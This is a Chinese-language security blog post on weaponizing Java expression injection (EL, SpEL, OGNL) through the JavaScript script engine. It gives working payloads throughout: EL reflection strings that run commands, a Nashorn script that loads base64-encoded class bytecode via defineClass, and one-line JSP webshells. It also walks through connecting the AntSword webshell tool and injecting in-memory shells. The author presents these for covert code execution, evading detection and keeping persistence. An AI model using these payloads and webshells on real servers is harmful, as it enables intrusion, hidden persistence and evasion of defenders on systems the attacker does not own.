Java安全从业者能吃上饭的三个主要原因:反序列化,JNDI注入,表达式注入(开个玩笑)。本文想就这三种类型的漏洞的利用谈谈自己的看法,同时提出表达式注入下的武器化利用方法。
在本人看来,漏洞武器化利用方式主要有以下几个特点
便捷性:一键式、傻瓜式操作。
通用性:兼容各种环境。
支持任意代码执行,而非单纯命令执行。
扩展性:联动其他工具。
目前大多数工具只是做到了任意命令执行,但是在实战中我们更希望得到一个任意代码执行的口子。原因是:
任意命令执行在进程命令行层面很容易留下痕迹被发现,而任意代码执行在语言函数层面,有天然的隐蔽的优势。
任意代码执行可以实现注入内存马等进阶操作。
反序列化漏洞在Java安全中的重要性无需多提,其中较为著名的漏洞有weblogic系列漏洞,shiro反序列化漏洞等。其中较为有名的利用工具有ysoserial,几乎是每一个入门Java安全的同学必须学习的一个项目。但实际上ysoserial只是做到了最基础的“命令执行”,并不支持任意代码执行。wh1t3p1g师傅的ysomap则进行了大量的改进。不仅增加了非常多的利用模块,而且增加了很多利用链下任意代码执行的利用方式。
JNDI注入。代表作Log4Shell,核弹漏洞。基础利用工具代表:marshalsec。武器化利用工具代表为feihong师傅的JNDIExploit。可以一键搭建ldap跟http环境,并且可以根据lookup对象的名称来执行动态的参数,还添加了一键注入内存马等功能。同样是做到了从任意命令执行到任意代码执行。
表达式注入漏洞。代表成员有Struts2的ognl表达式注入,SpringBoot spel表达式注入,Tomcat的EL表达式注入等。但是目前大多payload还是弹一个计算器,并没有见到成熟的武器化利用方式。
那么怎么才能实现表达式注入的武器化利用呢?
Java中主流的表达式注入分为三种:EL,Spel,Ognl。不同表达式有不同的语法特点,有些必须要用反射去实例化类,有些可以直接new;有些表达式只能执行一句,有些可以执行多句。所以想要做到武器化利用就要选取一种通用的中间层语言。
自己曾经研究过一种基于JS引擎的Java一句话木马。其中JS引擎就非常符合我们的要求:
一行代码即可执行,无需执行多句
JDK>=6都可以使用
Java函数层面,可以做到任意代码执行
自己在博客文章里面对js引擎的各种语法进行了详细的解释:https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/
Tomcat 8.5+jdk8
这里模拟了一个el表达式注入的场景
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null);
out.print(res);
%>
可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。
样例如下:
code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}
或者是借助js引擎
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}
不过两者都是无回显的,不优雅。
最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。
所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。
经过简化后,我们的payload如下:
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")}
在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}
ant参数内容如下:
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
);
其中字节码部分可以换为注入内存马的payload等等。
之前的jspjs类型必须要在上下文中绑定request跟response对象。但是在Spel跟ognl大多数情况下无法直接获取到这两个对象。于是便对jspjs类型进行了一些改动:
1、取消对外部request跟response的依赖。
2、以编码器的形式内置了利用的payload。
具体commit可以看:
https://github.com/AntSwordProject/antSword/commit/797562b417271480628aa469789582a932318e47
原来的Shell必须要绑定request跟response对象
<%
try {
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
} catch (Exception e) { }
%>
经过改造后连绑定对象这一步也可以省去了,demo如下:
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;
%>
所以,现在不管是表达式还是什么场景,只要能够调用javax.script.ScriptEngineManager().getEngineByName("js").eval(xxx)这一句,理论上都可以用蚁剑进行无文件直接连接。
当然,现在的Shell跟之前的Shell并不冲突,两种都可以使用。有条件的话还是尽量使用第一种,原因后面会讲到。
起一个Tomcat,el.jsp内容如下
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>
打开蚁剑,选择el编码器,一键连接。
springboot设置一个测试环境,以spel为例
@RequestMapping("/spel")
public String eval(String spel){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
return expression.getValue().toString();
}
蚁剑选择spelbase64编码器可一键连接
至于为什么要加一层base64是因为发现如果直接发送的话,两个引号会被nashorn引擎吃掉成一个,然后报错。
以ognl为例
@RequestMapping("/ognl")
public String eval(String str) throws Exception {
OgnlContext context = new OgnlContext();
Object ognl = Ognl.parseExpression(str);
Object value = Ognl.getValue(ognl, context, context.getRoot());
return value.toString();
}
选择ognl编码器,一键连接
As-Exploits是蚁剑的后渗透模块,支持一键反弹Shell,一键注入内存马,一键加载ShellCode等操作。
在1.5版本中,增加了对jspjs类型的支持。
因为As-Exploits中jspjs的payload实际上是对jsp的payload又包了一层,而jsp的payload是硬编码了必须要依赖request跟response,所以如果想在表达式环境下使用,要先绑定request跟response对象,也就是第一种Shell的写法。
另外由于jdk6/7下的Rhino引擎过于傻逼,搞了一晚上解决了各种坑之后发现还是无法直接获取到Object.class(https://github.com/mozilla/rhino/issues/757),所以在Rhino引擎下如何在js里调用defineClass还没有实现,如果有搞出来的师傅可以教教我。
基本信息模块
内存马管理模块
测试一下内存马注入功能,打进去一个antSword的filter。执行,提示成功
去内存马管理模块里看一下,发现已经注入成功
通过蚁剑就可以连接我们注入的内存马了。
借助蚁剑,我们基本做到了对表达式注入的武器化利用。主要有3个作用:
漏洞的无文件利用。蚁剑的编码器其实有点类似于profile,可以自定义各种请求参数。根据不同场景自己改一改payload,即可达到对指定漏洞的无文件利用效果。本文不涉及具体漏洞的利用,感兴趣的同学可以自己研究。
表达式下的任意代码执行。原来的表达式注入大多是直接执行命令,属于命令执行层面很容易检测,懂得都懂。
构造webshell维权。原来jsp webshell主要局限在defineClass,现在可以通过各种表达式来构造webshell了,格局打开。
https://paper.seebug.org/794/
https://xz.aliyun.com/t/9245
http://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/